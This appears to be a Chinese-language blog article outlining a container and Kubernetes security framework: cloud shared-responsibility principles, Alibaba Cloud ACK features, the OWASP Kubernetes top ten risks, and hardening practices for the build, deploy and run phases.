雲原生之容器安全 -- 基本框架

一、雲原生進程中的容器安全挑戰與應對原則

0x1:雲原生時代企業IT架構升級面臨的新挑戰

雲原生的火熱帶來了企業基礎設施和應用架構等技術層面的革新,在雲原生的大勢所趨下,越來越多的企業選擇擁抱雲原生,在 CNCF 2020 年度的調研報告中,已經有83% 的組織在生產環境中選擇 Kubernetes,容器已經成爲應用交付的標準,也是雲原生時代計算資源和配套設施的交付單元。顯然,容器已經成爲應用交付的標準,也是雲原生時代計算資源和配套設施的交付單元。

然而,由於在隔離和安全性方面存在的天然缺陷,安全一直是企業進行容器改造化進程中關注的核心問題之一。來到雲原生時代,企業又將面臨哪些容器安全新挑戰?

  • 缺少體系化的容器安全能力建設:傳統的企業應用安全模型通常基於內部架構不同的信任域來劃分對應的安全邊界,在信任域內的東西向服務交互被認爲是安全的。而上雲後企業應用需要在 IDC 和雲上部署和交互,在物理安全邊界消失後,如何在零信任的網絡安全模型下構建企業級容器安全體系是雲服務商需要解決的重要問題。
  • 更多的攻擊面:基於容器技術的應用部署依賴 Linux 內核 namespaces 和 cgroups 等特性,從攻擊者的角度出發,可以利用內核系統漏洞,容器運行時組件和容器應用部署配置等多個維度發起針對性的逃逸和越權攻擊。K8s、Docker、Istio 等開源社區近年來也相繼爆出不少的高危漏洞,這都給攻擊者提供了可乘之機。
  • 缺少應用側全生命週期的安全防護手段:容器技術在爲企業應用架構提供了彈性、敏捷和動態可擴展等特性的同時,也改變了應用的部署模式。首先應用自身的生命週期被大幅縮短,一個容器應用的生命週期通常是分鐘級;與此同時,隨着存儲網絡和異構資源利用率等基礎設施能力上的提升,容器應用的部署密度也越來越高,傳統的面向虛機維度的安全防護策略和監控告警手段已經無法適應容器技術的需求。
  • 缺少對雲上安全責任共擔模型的理解:企業應用上雲後的安全需要遵循責任共擔模型,在企業應用架構雲原生化的轉型過程中,需要企業應用管理者和安全運維人員理解企業自身和雲服務商之前的責任邊界。這個過程中也需要雲服務商面向企業應用側輸出更全面的容器安全最佳實踐並提升安全能力的易用性,降低使用門檻。

0x2:構建容器安全體系的基本原則

爲了應對上述企業應用在容器化進程中的安全挑戰,雲服務商和企業應用安全管理運維人員需要攜手共建容器應用安全體系,下圖是阿里雲ACK容器服務安全責任共擔模型。

1、雲服務供給側的容器安全體系建設原則

對於雲服務商,首先需要依託於雲平臺自身的安全能力,構建安全穩定的容器基礎設施平臺,並且面向容器應用從構建,部署到運行時刻的全生命週期構建對應的安全防護手段。整個安全體系的構建需要遵循如下基本原則:

1)保證容器管控平臺基礎設施層的默認安全

容器平臺基礎設施層承載了企業應用的管控服務,是保障業務應用正常運行的關鍵,容器平臺的安全性是雲服務商應該格外關注的。

  • 完備的平臺安全能力:首先雲服務商自身基礎設施的安全性是容器平臺是否安全的基礎,比如 VPC 的安全配置能力,SLB 的訪問控制,DDoS 能力和賬號系統對雲資源的訪問控制能力等都是平臺側面向企業應用需要提供的基礎安全能力。
  • 版本更新和漏洞應急響應機制:虛機 OS 的版本更新和漏洞補丁的安裝能力也是保證基礎設施安全的基本防護措施,除此之外如 K8s 等容器相關開源社區的風險漏洞,都可能成爲惡意攻擊者首選的攻擊路徑,需要廠商提供漏洞的分級響應機制並提供必要的版本升級能力。
  • 平臺的安全合規性:這也是很多金融企業和政府部門應用上雲的硬性前提條件。雲服務商需要基於業界通用的安全合規標準,保證服務組件配置的默認安全性,同時面向平臺用戶和安全審計人員,提供完備的審計機制。

2)面向容器應用側提供縱深防禦能力

雲服務商不僅要在自身管控側建立完善的安全武裝,同時也需要面向業務應用負載,提供適合雲原生場景下容器應用的安全防護手段,幫助終端用戶在應用生命週期各階段都能有對應的安全治理方案。

由於雲原生具有動態彈性的基礎設施,分佈式的應用架構和創新的應用交付運維方式等特點,這就要求雲服務商能夠結合自身平臺的基礎安全能力,將雲原生能力特性賦能於傳統的安全模型中,構建面向雲原生的新安全體系架構。

2、企業安全側的容器安全體系建設原則

對於企業的安全管理和運維人員來說,首先需要理解雲上安全的責任共擔模型邊界,究竟企業自身需要承擔起哪些安全責任。

雲原生微服務架構下企業應用在 IDC 和雲上進行部署和交互,傳統的網絡安全邊界已經不復存在,企業應用側的網絡安全架構需要遵循零信任安全模型,基於認證和授權重構訪問控制的信任基礎。對於企業安全管理人員來說可以參考關注如下方向加固企業應用生命週期中的生產安全:

  • 保證應用製品的供應鏈安全:雲原生的發展使得越來越多的大規模容器應用開始在企業生產環境上部署,也大大豐富了雲原生應用製品的多樣性,像容器鏡像和 helm charts 都是常見的製品格式。對於企業來說製品供應鏈環節的安全性是企業應用生產安全的源頭,一方面需要在應用構建階段保證製品的安全性;另一方面需要在製品入庫,分發和部署時刻建立對應的訪問控制,安全掃描、審計和准入校驗機制,保證製品源頭的安全性。
  • 權限配置和憑證下發遵循權限最小化原則:基於統一的身份標識體系進行認證授權是在零信任安全模型下構建訪問控制能力的基礎。對於企業安全管理人員來說,需要利用雲服務商提供的訪問控制能力,結合企業內部的權限賬號體系,嚴格遵循權限最小化原則配置對雲上資源和容器側應用資源的訪問控制策略;另外嚴格控制資源訪問憑證的下發,對於可能造成越權攻擊行爲的已下發憑證要及時吊銷。另外要避免容器應用模板配置如特權容器這樣的過大權限,確保最小化攻擊面。
  • 關注應用數據和應用運行時刻安全:應用的成功部署上線並不意味着安全工作的結束。除了配置完備的資源請求審計外,安全管理運維人員還需要利用廠商提供的運行時刻監控告警和事件通知等機制,保持對容器應用運行時安全的關注,及時發現安全攻擊事件和可能的安全隱患。對於企業應用自身依賴的敏感數據(比如數據庫密碼,應用證書私鑰等)需要根據應用數據的安防等級採用對應的密鑰加密機制,利用雲上的密鑰管理方案和落盤加密,機密計算等能力,保證數據在傳輸和落盤鏈路上的數據安全性。
  • 及時修復安全漏洞和進行版本更新:無論是虛機系統,容器鏡像或是容器平臺自身的安全漏洞,都有可能被惡意攻擊者利用成爲入侵應用內部的跳板,企業安全管理運維人員需要根據雲服務商推薦的指導方案進行安全漏洞的修復和版本更新(比如 K8s 集羣版本,應用鏡像版本等)。此外企業要負責內部員工的安全培訓工作,居安思危,提升安全防護意識也是企業安全生產的基礎要務。

參考鏈接:

 

二、雲原生安全技術大圖

雲原生(Cloud Native)是一套技術體系和方法論,它由2個詞組成,雲(Cloud)和原生(Native)。

  • 雲(Cloud)表示應用程序位於雲中,而不是傳統的數據中心
  • 原生(Native)表示應用程序從設計之初即考慮到雲的環境,原生爲雲而設計,在雲上以最佳狀態運行,充分利用和發揮雲平臺的彈性和分佈式優勢。

雲原生的代表技術包括:

  • 容器
  • 服務網格(Service Mesh)
  • 微服務(Microservice)
  • 不可變基礎設施
  • 聲明式API

更多對於雲原生的介紹請參考CNCF/Foundation

在整個雲原生安全中,容器既是雲原生變革的最核心創新之一,也是安全風險最集中體現的地方。因此,關注雲原生安全,容器安全是需要重點分析的方面。

0x1:從技術棧角度看雲原生安全技術大圖

從技術棧角度,”雲原生安全“可以抽象爲以下架構圖:

自底向上看,

  • 底層從硬件安全(可信環境)到宿主機安全。
  • 容器編排技術(Kubernetes等)可以看作雲上的“操作系統”,它負責自動化部署、擴縮容、管理應用等。
  • 在容器編排技術之上,承載了微服務、Service Mesh、容器技術(Docker等)、容器鏡像(倉庫)組成。

它們之間相輔相成,以這些技術爲基礎構建雲原生安全。

0x2:從端到端的業務生命週期角度看雲原生安全技術大圖

以阿里云云原生安全體系爲例,阿里雲 ACK 容器服務面向廣大的企業級客戶,構建了完整的容器安全體系,提供了端到端的應用安全能力。

首先整個容器安全體系依託於阿里雲平臺安全能力,包括物理/硬件/虛擬化以及雲產品安全能力,構建了平臺安全底座。

在雲平臺安全層之上是容器基礎設施安全層,容器基礎設施承載了企業容器應用的管控能力,其默認安全性是應用能夠穩定運行的重要基礎。 

在容器管控側,阿里雲容器服務基於 CIS Kubernetes 等業界安全標準基線對容器管控面組件配置進行默認的安全加固,同時遵循權限最小化原則收斂管控面系統組件和集羣節點的默認權限,最小化攻擊面。 

統一的身份標識體系和訪問控制策略模型是在零信任安全模型下構建安全架構的核心,ACK 管控側和阿里雲 RAM 賬號系統打通,提供了基於統一身份模型和集羣證書訪問憑證的自動化運維體系,同時面對用戶憑證泄露的風險,提出了用戶憑證吊銷的方案,幫助企業安全管理人員及時吊銷可能泄露的集羣訪問憑證,避免越權訪問攻擊事件。 

針對密鑰管理、訪問控制、日誌審計這些企業應用交互訪問鏈路上關鍵的安全要素,ACK 容器服務也提供了對應的平臺側安全能力:

  • 訪問控制:ACK 基於 K8s RBAC 策略模型提供集羣內應用資源的 訪問控制能力,在保證非主賬號或集羣創建者默認無權限的安全前提下,集羣管理員可以通過控制檯或 OpenAPI 的方式對指定的子賬號或 RAM 角色進行集羣和賬號維度的批量 RBAC 授權,ACK 面向企業常見授權場景,提供了四種預置的權限模板,降低用戶對 RBAC 及 K8s 資源模型的學習成本。對於應用容器中通常依賴的集羣訪問憑證 serviceaccount,ACK 集羣支持開啓針對 serviceaccount 的 令牌卷投影特性,支持對 sa token 配置綁定 audience 身份,並且支持過期時間的設置,進一步提升了應用對管控面 apiserver 的訪問控制能力。
  • 密鑰管理:針對企業客戶對數據安全自主性和合規性的要求,ACK Pro 集羣支持對 K8s Secret 的落盤加密能力,同時支持使用 BYOK 的雲盤加密能力,保證企業核心數據安心上雲;同時 ACK 集羣支持將用戶託管在阿里雲 KMS 憑據管家中的敏感信息實時同步到應用集羣中,用戶在 K8s 應用中直接掛載憑據同步的指定 secret 實例即可,進一步避免了對應用敏感信息的硬編碼問題。
  • 日誌審計:ACK 除了支持 K8s 集羣 audit 審計,controlplane 管控面組件日誌等基本的管控面日誌採集外,還支持對 Ingress 流量的日誌審計和基於 NPD 插件的 異常事件告警。以上日誌審計能力對接了阿里雲 SLS 日誌服務,通過 SLS 服務提供的快速檢索、日誌分析和 dashboard 展示能力,降低了對容器應用開發運維和安全審計的難度。

參考鏈接:

https://help.aliyun.com/zh/ack/ack-managed-and-ack-dedicated/video-tutorials/work-with-the-ack-console

 

二、硬件安全

三、宿主機安全

四、容器編排安全

0x1:Kubernetes(K8S)基本概念

Kubernetes是Google在2014年6月開源的一個容器集羣管理系統,使用Go語言開發,Kubernetes也叫K8S,2015年7月,Kubernetes v1.0正式發佈。

K8S是Google內部一個叫Borg的容器集羣管理系統衍生出來的,Borg已經在Google大規模生產運行十年之久。

K8S主要用於自動化部署、擴展和管理容器應用,提供了資源調度、部署管理、服務發現、擴容縮容、監控等一整套功能。Kubernetes目標是讓部署容器化應用簡單高效。

1、kubernetes的主要功能

  • 數據卷:Pod中容器之間共享數據,可以使用數據卷。
  • 應用程序健康檢查:容器內服務可能進程堵塞無法處理請求,可以設置監控檢查策略保證應用健壯性。
  • 複製應用程序實例:控制器維護着Pod副本數量,保證一個Pod或一組同類的Pod數量始終可用。
  • 彈性伸縮:根據設定的指標(CPU利用率)自動縮放Pod副本數。
  • 服務發現:使用環境變量或DNS服務插件保證容器中程序發現Pod入口訪問地址。
  • 負載均衡:一組Pod副本分配一個私有的集羣IP地址,負載均衡轉發請求到後端容器。在集羣內部其他Pod可通過這個ClusterIP訪問應用。
  • 滾動更新:更新服務不中斷,一次更新一個Pod,而不是同時刪除整個服務。
  • 服務編排:通過文件描述部署服務,使得應用程序部署變得更高效。
  • 資源監控:Node節點組件集成cAdvisor資源收集工具,可通過Heapster彙總整個集羣節點資源數據,然後存儲到InfluxDB時序數據庫,再由Grafana展示。
  • 提供認證和授權:支持屬性訪問控制(ABAC)、角色訪問控制(RBAC)認證授權策略。

2、K8s中的基本對象概念

1)基本原子對象

  • Pod:Pod是最小部署單元,一個Pod有一個或多個容器組成,Pod中容器共享存儲和網絡,在同一臺Docker主機上運行。
  • Service:Service一個應用服務抽象,定義了Pod邏輯集合和訪問這個Pod集合的策略。Service代理Pod集合對外表現是爲一個訪問入口,分配一個集羣IP地址,來自這個IP的請求將負載均衡轉發後端Pod中的容器。Service通過LableSelector選擇一組Pod提供服務。
  • Volume:數據卷,共享Pod中容器使用的數據。
  • Namespace:命名空間將對象邏輯上分配到不同Namespace,可以是不同的項目、用戶等區分管理,並設定控制策略,從而實現多租戶。命名空間也稱爲虛擬集羣。
  • Lable:標籤用於區分對象(比如Pod、Service),鍵/值對存在;每個對象可以有多個標籤,通過標籤關聯對象。

2)基於基本對象更高層次抽象

  • ReplicaSet:下一代ReplicationController。確保任何給定時間指定的Pod副本數量,並提供聲明式更新等功能。RC與RS唯一區別就是lableselector支持不同,RS支持新的基於集合的標籤,RC僅支持基於等式的標籤。
  • Deployment:Deployment是一個更高層次的API對象,它管理ReplicaSets和Pod,並提供聲明式更新等功能。官方建議使用Deployment管理ReplicaSets,而不是直接使用ReplicaSets,這就意味着可能永遠不需要直接操作ReplicaSet對象。
  • StatefulSet:StatefulSet適合持久性的應用程序,有唯一的網絡標識符(IP),持久存儲,有序的部署、擴展、刪除和滾動更新。
  • DaemonSet:DaemonSet確保所有(或一些)節點運行同一個Pod。當節點加入Kubernetes集羣中,Pod會被調度到該節點上運行,當節點從集羣中移除時,DaemonSet的Pod會被刪除。刪除DaemonSet會清理它所有創建的Pod。
  • Job:一次性任務,運行完成後Pod銷燬,不再重新啓動新容器。還可以任務定時運行。

3)系統架構及組件功能

  • Master組件:
    • kube-apiserver:Kubernetes API,集羣的統一入口,各組件協調者,以HTTPAPI提供接口服務,所有對象資源的增刪改查和監聽操作都交給APIServer處理後再提交給Etcd存儲。
    • kube-controller-manager:處理集羣中常規後臺任務,一個資源對應一個控制器,而ControllerManager就是負責管理這些控制器的。
    • kube-scheduler:根據調度算法爲新創建的Pod選擇一個Node節點。
  • Node組件:
    • kubelet:kubelet是Master在Node節點上的Agent,管理本機運行容器的生命週期,比如創建容器、Pod掛載數據卷、下載secret、獲取容器和節點狀態等工作。kubelet將每個Pod轉換成一組容器。
    • kube-proxy:在Node節點上實現Pod網絡代理,維護網絡規則和四層負載均衡工作。
    • docker或rocket(rkt):運行容器。
  • 第三方服務:
    • etcd:分佈式鍵值存儲系統。用於保持集羣狀態,比如Pod、Service等對象信息。

0x2:Kubernetes攻擊面

總體來說,Kubernetes安全性包括三個主要部分:

  • 集羣安全:集羣安全包括通過啓用認證、授權和加密來保護控制平面組件,如API服務器、etcd和Kubernetes控制器管理程序(Kubernetes controller manager)。
  • 節點安全:節點安全主要是指正確配置網絡和保護Kubernetes運行時環境,包括刪除不必要的用戶帳戶和確保應用訪問的合規性。
  • 應用程序安全:應用程序安全意味着要對pod進行保護,在Kubernetes中,pod是用於運行應用程序的容器。保護這些應用程序的前提是保護pod。Kubernetes提供了多個安全特性來幫助保護應用程序。這些特性可用於限制資源訪問、實施網絡策略,並支持容器之間的安全通信。

爲了幫助企業組織更安全的應用Kubernetes系統,OWASP基金會日前列舉出Kubernetes的十大安全風險,並提供了緩解這些風險的建議。

1、不安全的工作負載配置 

Kubernetes manifest包含大量的配置,這些配置會影響相關工作負載的可靠性、安全性和可擴展性。這些配置應該不斷地進行審計和糾正,以防止錯誤配置。特別是對一些高影響的manifest配置,因爲它們更有可能被錯誤配置。雖然許多安全配置通常是在manifest本身的securityContext中設置的,但這些配置信息需要在其他地方也可以被檢測到,包括在運行時和代碼中都能夠檢測到它們,這樣才能防止錯誤配置。

安全團隊還可以使用Open Policy Agent之類的工具作爲策略引擎來檢測各種常見的Kubernetes錯誤配置。

此外,使用Kubernetes的CIS基準也是發現錯誤配置的一個有效方法。不過,持續監控和糾正任何潛在的錯誤配置,以確保Kubernetes工作負載的安全性和可靠性同樣是至關重要的。

2、供應鏈安全漏洞

在供應鏈開發生命週期的各個階段,容器會以多種形式存在,且每種形式都有其獨特的安全挑戰。這是因爲單個容器可能依賴於數百個外部第三方組件,將會降低每個階段的信任級別。

在實際應用中,最常見的供應鏈安全漏洞如下: 

  • 映像(Image)完整性:容器映像由很多層組成,每層都可能帶來安全風險。由於容器映像廣泛使用第三方包,因此在可信環境中運行它們可能是危險的。爲了緩解這種情況,在每個階段使用in-toto驗證軟件以確保映像完整性是很重要的。此外,通過密鑰對使用鏡像進行簽名和驗證,可以快速檢測到對組件的篡改,這是構建安全供應鏈的重要步驟。
  • 鏡像組合——容器映像包含很多層,每層都有不同的安全影響。正確構造的容器鏡像可以減少攻擊面並提高部署效率。因此,使用最小的OS包和依賴項來創建容器映像以減少攻擊面非常重要,可以考慮使用其他基本鏡像(如Distroless或Scratch)來改善安全態勢並縮小映像尺寸。此外,Docker Slim等工具也可用於優化映像佔用空間。
  • 已知的軟件漏洞——由於容器映像中大量使用第三方包,安全漏洞非常普遍。映像漏洞掃描對於枚舉容器映像中的已知安全問題至關重要。諸如Clair和trivy之類的開源工具會靜態分析容器映像,以查找諸如CVE之類的已知漏洞,因此應該在開發週期中儘可能早地使用這些工具。

3、過度授權的RBAC

如果配置正確,RBAC(基於角色的訪問控制)有助於防止未經授權的訪問和保護敏感數據。但如果RBAC未經正確配置,就可能會導致過度授權的情況,允許用戶訪問他們不應訪問的資源或執行違規的操作。這可能會造成嚴重的安全風險,包括數據泄露、丟失和受損。

爲了防止這種風險,持續分析RBAC配置並實施最小特權原則(PoLP)是至關重要的。這可以通過以下手段:

  • 減少終端用戶對集羣的直接訪問
  • 避免在集羣外部使用服務帳戶令牌
  • 審計第三方組件中的RBAC

此外,強烈推薦部署集中式策略來檢測和阻止危險的RBAC權限,使用RoleBindings將權限範圍限制到特定的名稱空間,並遵循官方規定的RBAC最佳實踐。

4、安全策略未執行

安全策略執行主要指安全規則和條例的實施,以確保符合組織策略。

在Kubernetes應用中,策略執行指的是確保Kubernetes集羣遵守組織設置的安全策略。這些策略可能與訪問控制、資源分配、網絡安全或Kubernetes集羣的任何其他方面有關。

策略執行對於確保Kubernetes集羣的安全性和遵從性至關重要。如果安全策略未被執行可能導致安全漏洞、數據丟失和其他潛在風險。此外,安全策略執行有助於維護Kubernetes集羣的完整性和穩定性,確保資源得到有效和高效的分配。

確保在Kubernetes中有效執行安全策略是至關重要的,其中包括:

  • 定義與組織目標和法規需求相一致的策略
  • 使用kubernetes本地資源或策略控制器實現策略
  • 定期審查和更新策略,以確保其保持相關性和有效性
  • 監控違反策略的行爲並及時予以糾正
  • 教育用戶Kubernetes策略及其重要性

5、不充分的日誌記錄

日誌記錄是任何運行應用程序的系統的基本組件。Kubernetes的日誌記錄也不例外。這些日誌可以幫助識別系統問題,併爲系統性能優化、安全漏洞修復和數據丟失取證提供有價值的分析。

各種來源(包括應用程序代碼、Kubernetes組件和系統級進程)都可以生成Kubernetes日誌。爲了安全的應用Kubernetes系統,企業組織需要對其運行態勢進行充分的日誌記錄:

  • 使用集中式日誌系統:集中式日誌系統收集並存儲所有Kubernetes組件和應用程序的日誌,並將其保存在一個位置,這使得識別和響應系統問題會變得更加容易。
  • 使用標準化的日誌格式:標準化的日誌格式使搜索和分析來自多個源的日誌變得更加容易。Kubernetes有多種標準的日誌格式,包括JSON和syslog。安全團隊需要選擇其日誌系統支持的格式,並配置其Kubernetes組件和應用程序以使用該格式。
  • 維護完整的日誌:記錄所有內容可以確保完整地瞭解系統行爲。但是,記錄所有內容也會生成大量數據。要管理這些數據,可以考慮設置日誌輪換和保留策略。
  • 使用標籤和註釋:標籤和註釋是Kubernetes的一個強大功能,可以爲日誌提供額外的上下文。通過標籤和註釋,運維人員可以根據特定的條件對日誌進行過濾和搜索。
  • 監控Kubernetes日誌:定期監控日誌可以快速識別系統出現的問題並及時響應。有許多不同的工具可用於監視Kubernetes日誌,包括Grafana和Kibana等。
  • 日誌審計:在Kubernetes中進行日誌審計使團隊能夠跟蹤對Kubernetes API服務器和其他Kubernetes組件的更改,幫助識別未經授權的系統更改,並確保符合安全策略。爲了在Kubernetes中設置審計,需要配置Kubernetes API服務器來記錄審計事件,併發送到集中的日誌記錄系統進行分析。

6、受損的身份驗證

受損的身份驗證是一個嚴重的安全威脅,將允許攻擊者繞過身份驗證並獲得對應用程序或系統的未經授權的訪問。在Kubernetes中,由於以下幾個因素,可能會引發受損的身份驗證:

  • 如果攻擊者可以獲得用戶的憑據,他們可以繞過身份驗證並獲得對Kubernetes集羣的未經授權的訪問。
  • Kubernetes支持多種身份驗證機制,包括X.509證書、靜態令牌和OAuth令牌。錯誤配置的身份驗證規則可能會使Kubernetes集羣容易受到攻擊。
  • Kubernetes使用多種通信通道,包括Kubernetes API服務器、kubelet和etcd。如果這些通信通道不安全,攻擊者可以攔截和操縱流量以繞過身份驗證。

在Kubernetes中,可以實施一些積極的安全措施來防止身份驗證被破壞,包括:

  • 用戶必須使用不容易被猜測的強密碼或身份驗證令牌。
  • Kubernetes組件之間的通信通道必須使用SSL/TLS加密。
  • Kubernetes中使用的認證機制必須正確配置,以防止未經授權的訪問。
  • 需要基於用戶角色對Kubernetes資源的訪問進行限制。

7、網絡未分段 

當Kubernetes網絡中沒有附加控制時,任何工作負載都可以與另一個工作負載通信。攻擊者可以利用這種默認行爲,利用正在運行的工作負載探測內部網絡、移動到其他容器,甚至調用私有API。

網絡分段是將一個網絡劃分爲多個更小的子網絡,每個子網絡相互隔離。網絡分段使得攻擊者難以在網絡中橫向移動並獲得對敏感資源的訪問。

組織可以使用多種技術在Kubernetes集羣中實現網絡分段,以阻止橫向移動,並仍然允許有效的流量正常路由。

  • Kubernetes支持網絡策略,可以使用網絡策略控制哪些pod可以相互通信,哪些pod與集羣的其他部分隔離。
  • 還有許多第三方工具也可以在Kubernetes集羣中實現網絡分割。最流行的有Calico、 Weave Net和Cilium等,這些工具提供高級的網絡分段功能,如加密、防火牆和入侵檢測。

8、配置錯誤的集羣組件

Kubernetes集羣由etcd、kubelet、kube-apiserver等不同組件組成,所有組件都是高度可配置的,這意味着當Kubernetes的核心組件出現配置錯誤時,就可能會發生集羣泄露。在Kubernetes控制計劃中,需要對各個組件進行配置錯誤檢查,包括:

  • 檢查配置是否設置爲拒絕匿名身份驗證。此外,在與Kubelets通信時,應該始終執行授權檢查。
  • 要檢查正在使用的API服務器的互聯網可訪問性,並使Kubernetes API遠離任何公共網絡。
  • 執行CIS基準掃描和審計也可以幫助安全團隊消除組件錯誤配置,可以使用諸如EKS、GKE或AKS之類的託管服務幫助實現安全配置,並限制組件配置的某些選項。

9、脆弱的第三方組件 

由於Kubernetes集羣運行大量第三方軟件,安全團隊將需要構建多層策略來防護易受攻擊的組件。一些最佳實踐如下:

  • 跟蹤CVE數據庫。管理Kubernetes中已知和新漏洞的一個關鍵因素是跟蹤CVE數據庫、安全披露和社區更新的最新信息。安全團隊可以使用這些情報構建可操作的計劃,以實現定期的補丁管理流程。
  • 實現持續掃描。使用OPA Gatekeeper等工具可以幫助編寫自定義規則,以發現Kubernetes集羣中任何易受攻擊的組件。然後,安全團隊可以跟蹤並記錄這些發現,以改進其安全流程和策略。
  • 最小化第三方依賴關係。在Kubernetes應用部署之前,必須徹底審計第三方軟件是否存在過度授權的RBAC、低級別的內核訪問和漏洞披露記錄等信息。

10、Secret(機密)管理 

“secret”是Kubernetes中的一個對象,它包含密碼、證書和API密鑰等敏感數據。Secret存儲機密數據,集羣中的其他用戶和進程應該無法訪問這些數據。Kubernetes Secret密存儲在etcd中,這是Kubernetes用來存儲所有集羣數據的分佈式鍵值存儲。雖然Secret在Kubernetes生態系統中是一個非常有用的功能,但需要謹慎處理。管理Kubernetes Secret可以分爲以下步驟:

  1. 在靜止狀態下部署加密:潛在的攻擊者可以通過訪問etcd數據庫獲得對集羣狀態的相當大的可見性,該數據庫包含通過Kubernetes API訪問的任何信息。Kubernetes提供靜態加密。靜態加密保護etcd中的secret資源,確保這些secret的內容對訪問etcd備份的各方保持隱藏。
  2. 解決安全錯誤配置,例如漏洞、映像安全性和策略執行:還應該鎖定RBAC配置,並且所有服務帳戶和最終用戶訪問都應該限制爲最低權限,特別是在訪問secret時。審計集羣中安裝的第三方插件和軟件的RBAC配置也是必要的,以確保對Kubernetes secret的訪問不會被不必要地授予。
  3. 確保日誌記錄和審計到位:這有助於檢測惡意或異常行爲,包括對secret的訪問。Kubernetes集羣圍繞活動產生有用的指標,可以利用這些指標來檢測此類行爲。因此,建議啓用和配置Kubernetes審計記錄,並將其集中存儲。

0x3:應對Kubernetes安全風險的最佳實踐

綜合來說,上面總結的Kubernetes安全風險分別對應着容器生命週期的各個階段。我們應該:

  • 在構建階段修復已知的漏洞
  • 在構建、部署階段修復錯誤的配置
  • 在運行階段對威脅進行快速響應。

1、構建階段的最佳實踐 

保護容器和 Kubernetes 的安全要從構建階段開始,此時花費的時間將在將來獲得回報,如果開始就沒做好安全實踐,後面將付出極大的修復成本。

  • 1)使用最小的基礎鏡像。避免將鏡像與 OS 軟件包管理器或 Shell 一起使用,因爲它們可能會有未知漏洞。如果必須要使用 OS 軟件包,請在後面的步驟中刪除軟件包管理器。
  • 2)不要添加不必要的組件。確保從生產中的容器中刪除 debug 工具。鏡像中不要有對攻擊者有用的通用工具(例如 Curl)。
  • 3)使用最新鏡像。確保鏡像以及任何第三方工具都是最新的,並使用其最新版本的組件。
  • 4)使用鏡像掃描識別已知漏洞。鏡像掃描能夠識別鏡像中的漏洞,並提示漏洞是否可修復。另外,它能夠掃描 OS 軟件包和第三方運行庫中的漏洞,以查找容器化應用程序中使用的程序語言漏洞。
  • 5)將安全性集成到 CI/CD 管道中。讓鏡像掃描和其他安全檢查成爲 CI/CD 管道的一部分,這樣在掃描程序檢測到嚴重的可修復漏洞時,可以自動執行安全保護並使 CI 構建失敗同時生成警報。
  • 6)標記無需修復的漏洞。如果沒有已知漏洞的修復程序,或者該漏洞不是關鍵漏洞,在這種不用立即修復的情況下,將它們添加到白名單或在掃描中過濾,這樣就不會被不必要的警報中斷工作流程。
  • 7)實施縱深防禦。在容器鏡像或使用該鏡像運行的部署中發現安全問題時,確保準備好策略檢查和修復工作流程來檢測和更新這些鏡像。

2、部署階段的最佳實踐

在部署工作負載之前,應該配置好 Kubernetes 基礎設施。

從安全角度來看,我們首先要了解正在部署的內容以及部署的方式,然後識別並應對違反安全策略的情況,至少應該知道以下幾個方面:

  • 正在部署的內容:包括使用鏡像的有關信息,例如組件、漏洞以及將要部署的 Pod
  • 將在哪裏部署:哪些集羣、命名空間和節點
  • 部署方式:是否以特權方式運行,可以與其他哪些部署進行通信
  • 可以訪問的內容:包括 secret、卷和其他基礎結構組件,例如主機或 orchestrator API
  • 是否符合要求:是否符合策略和安全要求

有了這些信息,我們就可以開始針對需要修復和加固的區域,並進行適當的分段。

  • 1)使用命名空間隔離敏感的工作負載。命名空間是 Kubernetes 資源的關鍵隔離方式。它們爲網絡策略、訪問控制和其他重要的安全控制提供了參考。將工作負載分到不同的命名空間可以遏制攻擊,並限制授權用戶的錯誤或破壞性操作的影響。
  • 2)使用 K8s 網絡策略來控制 Pod 和集羣之間的流量。默認情況下,Kubernetes 允許每個 Pod 與其他 Pod 通信。網絡分段策略是一項安全控制措施,可以防止攻擊者闖入後跨容器橫向移動。
  • 3)防止過度訪問 secret 信息。確保部署時僅安裝其實際需要的 secret,以防止不必要的信息泄露。
  • 4)評估容器使用的特權。賦予容器的功能、角色綁定和權限集會極大影響安全風險。我們最好遵守最小特權原則,只提供容器執行其預期功能的最小特權和功能。Pod 安全策略是一種控制 Pod 與安全相關屬性的方法,包括容器特權級別,可以使操作人員指定以下內容:
    • 不要以超級用戶身份運行應用程序進程
    • 不允許特權升級
    • 使用只讀的根文件系統
    • 使用默認的 masked/proc 文件系統掛載
    • 不要使用主機網絡或進程空間
    • 刪除不使用和不必要的 Linux 功能
    • 使用 SELinux 獲得更細粒度的過程控制
    • 爲每個應用程序分配自己的 Kubernetes 服務帳戶
    • 如果不需要訪問 Kubernetes API,就不要在容器中保存服務帳戶憑據
  • 5)評估鏡像來源。不要通過未知來源的鏡像部署代碼,僅使用已知或列入白名單的註冊中心鏡像。
  • 6)將鏡像掃描擴展到部署階段。擴展鏡像掃描到部署階段,並根據掃描結果執行策略。有種執行方式是使用 Kubernetes 的 Validation Admission Controller 功能,當沒有掃描結果、鏡像有嚴重漏洞或者是 90 天前構建的,Kubernetes 會拒絕進行部署,因爲近期未掃描的鏡像可能會包含上次掃描披露的新漏洞。
  • 7)適當使用標籤和註釋。使用負責應用程序團隊的名稱、電子郵件別名或 Slack Channel 爲部署添加標籤或註釋,這將提醒負責團隊更加註意安全性問題。
  • 8)啓用 Kubernetes 基於角色的訪問控制(RBAC)。RBAC 提供了一種方法,用於控制集羣中用戶和服務帳戶訪問集羣的 Kubernetes API 服務授權。

3、運行階段的最佳實踐

在構建和部署階段主動保護容器和 Kubernetes 部署可以大大減少運行時發生安全事件的可能性以及響應這些事件而進行的後續工作,但是運行階段的容器化應用程序又會面臨許多新的安全挑戰。我們既要獲得運行環境的可見性,又要在威脅出現時對其進行安全檢測和快速響應。

首先,我們必須監視與安全性最相關的容器活動,包括:

  • 進程活動情況
  • 容器服務之間的網絡通信
  • 容器化服務與外部客戶端和服務器之間的網絡通信

由於容器和 Kubernetes 具有聲明性,因此在容器中觀察容器行爲來檢測異常通常比在虛擬機中更容易。

  • 1)利用 Kubernetes 中的上下文信息。使用 Kubernetes 中構建和部署的時間信息來評估運行時觀察到的活動與預期活動,以檢測可疑活動。
  • 2)將漏洞掃描擴展到正在運行的部署。除了掃描容器鏡像中存在的漏洞之外,還需要監控正在運行的部署中是否有新發現的漏洞。
  • 3)使用 Kubernetes 內置控件以加強安全性。配置 Pod 的安全上下文以限制其功能。這些控件可以消除依賴特權訪問的整個攻擊類別。例如,只讀根文件系統可以防止任何依賴於安裝軟件或寫入文件系統的攻擊。
